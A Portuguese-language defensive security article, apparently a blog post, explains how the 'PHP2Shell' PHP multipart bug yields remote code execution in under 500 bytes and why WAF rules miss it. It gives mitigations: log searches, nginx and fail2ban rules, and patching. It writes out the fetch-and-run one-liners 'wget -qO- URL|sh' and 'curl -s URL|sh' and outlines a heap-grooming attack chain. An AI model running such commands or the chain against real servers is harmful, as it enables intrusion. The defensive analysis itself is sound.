Anatomia do Exploit de Menos de 500 Bytes: Como o PHP2Shell Contorna a Inspeção de Body de WAFs
Anatomia do Exploit de Menos de 500 Bytes: Como o PHP2Shell Contorna a Inspeção de Body de WAFs
<time datetime="2026-10-23">Verificado em 23 de outubro de 2026</time>
A análise de tráfego de ataque real para CVE-2026-109618 e CVE-2026-109619 revela um padrão recorrente: Remote Code Execution completa frequentemente com um body HTTP de 450 a 500 bytes. Isso refuta duas suposições comuns: que bodies POST grandes são o principal risco, e que um WAF com janelas de inspeção suficientemente grandes protege automaticamente. Payloads pequenos não apenas passam por limites de tamanho; são mais difíceis de detectar porque se misturam ao tráfego normal.
1. Por que o payload é tão pequeno
- A vulnerabilidade está na engine: o atacante não precisa injetar shellcode. O PHP já possui um caminho de código que alcança
system(); apenas ponteiros e campos de tamanho são manipulados. - Arquivos de sessão fazem o trabalho: dados de progresso são armazenados na sessão. O atacante controla o ID de sessão, não todo o fluxo de dados.
- Headers multipart são reutilizáveis:
Content-Type,boundaryeContent-Dispositionformam overhead fixo; os dados de ataque reais ficam na casa dos dois dígitos de bytes. - One-liners curtos bastam:
wget -qO- URL|shoucurl -s URL|shtêm poucas dezenas de bytes. Ferramentas adicionais são baixadas apenas após execução bem-sucedida.
Além disso, o atacante mantém o body pequeno deliberadamente para ficar abaixo de limiares de inspeção. Muitos rulesets de WAF inspecionam primeiro requisições grandes ou suspeitas e tratam requisições multipart pequenas como baixo risco.
2. Layout conceitual de um payload de 450 bytes
A representação abaixo é uma esboço reconstituído para uso defensivo. Não contém exploit funcional.
POST /index.php HTTP/1.1 ~ 38 bytes
Host: victim.example ~ 24 bytes
Content-Type: multipart/form-data;
boundary=----x ~ 58 bytes
Content-Length: 3xx ~ 20 bytes
Connection: keep-alive ~ 22 bytes
~ 4 bytes
------x ~ 8 bytes
Content-Disposition: form-data;
name="PHP_SESSION_UPLOAD_PROGRESS" ~ 66 bytes
~ 2 bytes
<ID de sessão e valores de progresso> ~ 40 bytes
------x ~ 8 bytes
Content-Disposition: form-data;
name="f"; filename="a" ~ 52 bytes
Content-Type: application/octet-stream ~ 38 bytes
~ 2 bytes
<bytes de fake zval e grooming> ~ 96 bytes
------x-- ~ 10 bytes
O essencial é o nome do campo PHP_SESSION_UPLOAD_PROGRESS e a boundary. Todo o resto serve para direcionar a alocação à classe de tamanho correta e ocupar o slot liberado.
3. Por que regras clássicas de WAF falham
Equívoco 1: "Bloqueamos POSTs grandes"
Regras baseadas em tamanho deixam passar requisições de 450 bytes. O atacante até se beneficia: quanto menor o body, menor a probabilidade de disparar inspeção custosa.
Equívoco 2: "Nosso endpoint não aceita uploads"
O parser multipart roda antes do roteamento. /login, /api/v1/health e caminhos inexistentes são parseados igualmente. A rota da aplicação é irrelevante para o ataque.
Equívoco 3: "Validação de entrada nos protege"
Validação ocorre em código PHP de usuário. A vulnerabilidade é disparada antes desse código rodar. filter_input, htmlspecialchars e parameter binding chegam tarde demais.
Equívoco 4: "Uma regex no nome do campo basta"
Nomes de campo podem variar capitalização, ser percent-encoded ou divididos entre headers. O parser RFC1867 normaliza essas variantes, enquanto matches simples de string falham. Soma-se chunked transfer encoding e formatos de boundary diferentes, que rapidamente tornam uma assinatura inútil.
Equívoco 5: "Inspeção TLS revela o conteúdo"
Mesmo com tráfego descriptografado, o desafio é distinguir uma requisição multipart inofensiva de um ataque. Sem conhecimento da semântica da sessão e do histórico do worker, a transação individual não é inequívoca.
4. Sincronização de duas requisições
Na prática, equipes de resposta a incidentes raramente observam uma única requisição. Frequentemente dois fluxos são sincronizados.
[ Requisição A: Heap Grooming ] [ Requisição B: Gatilho ]
multipart + padding extenso forçar reset de sessão
→ alinhar estado dos bins → reutilizar dangling pointer
│ │
└──────────── proximidade temporal ────┘
▼
sobrescrever fake zval
▼
vtable → system()
Quanto menor o pool FPM, maior a probabilidade de ambas as requisições caírem no mesmo worker. Um pool grande com alta flutuação reduz a taxa de sucesso, mas aumenta consumo de recursos. A escolha do tamanho do pool é, portanto, também uma decisão de segurança.
5. Detecção e contramedidas
5.1 Encontrar requisições suspeitas
sudo awk '$0 ~ /multipart\/form-data/ {print}' /var/log/nginx/access.log | \
awk '{print $1, $7, $9, $10}' | sort | uniq -c | sort -rn | head -30
5.2 Nginx como camada complementar
location /api/ {
if ($http_content_type ~* "multipart/form-data") {
return 415;
}
client_max_body_size 256k;
include fastcgi_params;
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}
5.3 Fail2ban
# /etc/fail2ban/filter.d/php2shell.conf
[Definition]
failregex = ^<HOST> .* "POST [^"]*" (200|404|413) .*multipart/form-data
ignoreregex =
# /etc/fail2ban/jail.d/php2shell.local
[php2shell]
enabled = true
filter = php2shell
logpath = /var/log/nginx/access.log
maxretry = 20
findtime = 60
bantime = 3600
Bloqueios por frequência geram falsos positivos em uploads legítimos. Whitelist caminhos e redes de clientes conhecidas antes de ativar o filtro.
5.4 O reparo real
Todas as medidas de perímetro são temporárias. A solução duradoura é o patch em 8.5.12, 8.4.27, 8.3.36 ou 8.2.35 — ou a desativação do callback:
session.upload_progress.enabled = Off
php -r 'var_dump(ini_get("session.upload_progress.enabled"));'
php -v
6. Lições para Red e Blue Team
- Tamanho do payload não é indicador de segurança. Uma requisição de 450 bytes pode ser mais perigosa que um upload de 4 MB.
- Camadas de parser fazem parte da superfície de ataque. Roteamento, autenticação e middleware de framework estão alto demais.
- WAFs compram tempo, não segurança. Contra payloads multipart compactos e normalizados, estão estruturalmente em desvantagem.
- Apenas o patch remove a causa. Todo o resto reduz probabilidade de sucesso ou impacto.
7. Parser multipart em detalhe
O parser RFC1867 trabalha de forma stateful. Ele lê a boundary do Content-Type, escaneia o body por sequências de separação e entrega cada campo encontrado a callbacks registrados. Importante é a ordem: MULTIPART_EVENT_START é disparado assim que o header é reconhecido, antes que o conteúdo do primeiro campo esteja completo. Depois vêm eventos por bloco de dados e finalmente MULTIPART_EVENT_END.
Para o PHP2Shell essa ordem é decisiva. O estado vulnerável surge durante o streaming, não ao final da requisição. O atacante não precisa entregar um body completo e bem-formado. Basta levar o parser à fase certa e então abortar ou redirecionar de forma direcionada. É exatamente por isso que medidas de proteção que só atuam após inspeção completa do body são estruturalmente tardias.
Outro ponto é o tratamento de nomes de campo duplicados. O parser aceita múltiplos campos com o mesmo nome e os armazena em uma estrutura. Quando um nome de campo é enviado várias vezes com valores diferentes, a ordem de processamento pode influenciar o estado resultante. WAFs que verificam apenas a primeira ou última ocorrência podem não ver o valor decisivo. Blue teams devem, portanto, avaliar a árvore multipart completa, não apenas a primeira ocorrência de um nome.
A própria boundary é outro ponto cego. Segundo a especificação, pode ter até 70 caracteres e conter caracteres especiais. Muitos motores de assinatura não a normalizam de forma consistente. Um atacante pode escolher uma boundary que pareça parte de outro header ou que confunda a lógica de inspeção. Para detecção, é mais robusto combinar multipart/form-data, PHP_SESSION_UPLOAD_PROGRESS e body pequeno do que depender de uma forma específica de boundary.
8. Avaliar telemetria corretamente
Logs brutos não bastam. É útil agregar em janelas curtas: IP de origem, caminho de destino, código de status, Content-Type e tamanho do body. Um único 415 é inofensivo; vinte deles em um minuto do mesmo IP são um sinal. Combine com reinícios de worker e conexões de saída. Assim surge um padrão que reduz falsos positivos e facilita a priorização no SOC. Documente os limiares e revise-os regularmente, pois atacantes ajustam sua taxa aos limites detectados.
9. FAQ
P1: O ataque funciona contra um endpoint 404? Sim. O parsing multipart começa antes do roteamento; até um handler 404 é exposto.
P2: Por que assinaturas regex não ajudam? Nomes de campo e boundaries podem ser codificados, fragmentados e variados. O parser os normaliza, matches simples de string não. Além disso, falta o tamanho como critério barato de filtro.
P3: Qual o caminho mais rápido para segurança?
Primeiro php -r 'var_dump(ini_get("session.upload_progress.enabled"));', depois php -v e o estado dos pacotes. Se a versão estiver abaixo das mínimas citadas, desative o callback imediatamente e planeje o upgrade.
P4: Basta reduzir client_max_body_size?
Não. Um payload de 450 bytes fica abaixo de qualquer limite realista. A restrição de tamanho protege contra outros ataques, não contra PHP2Shell.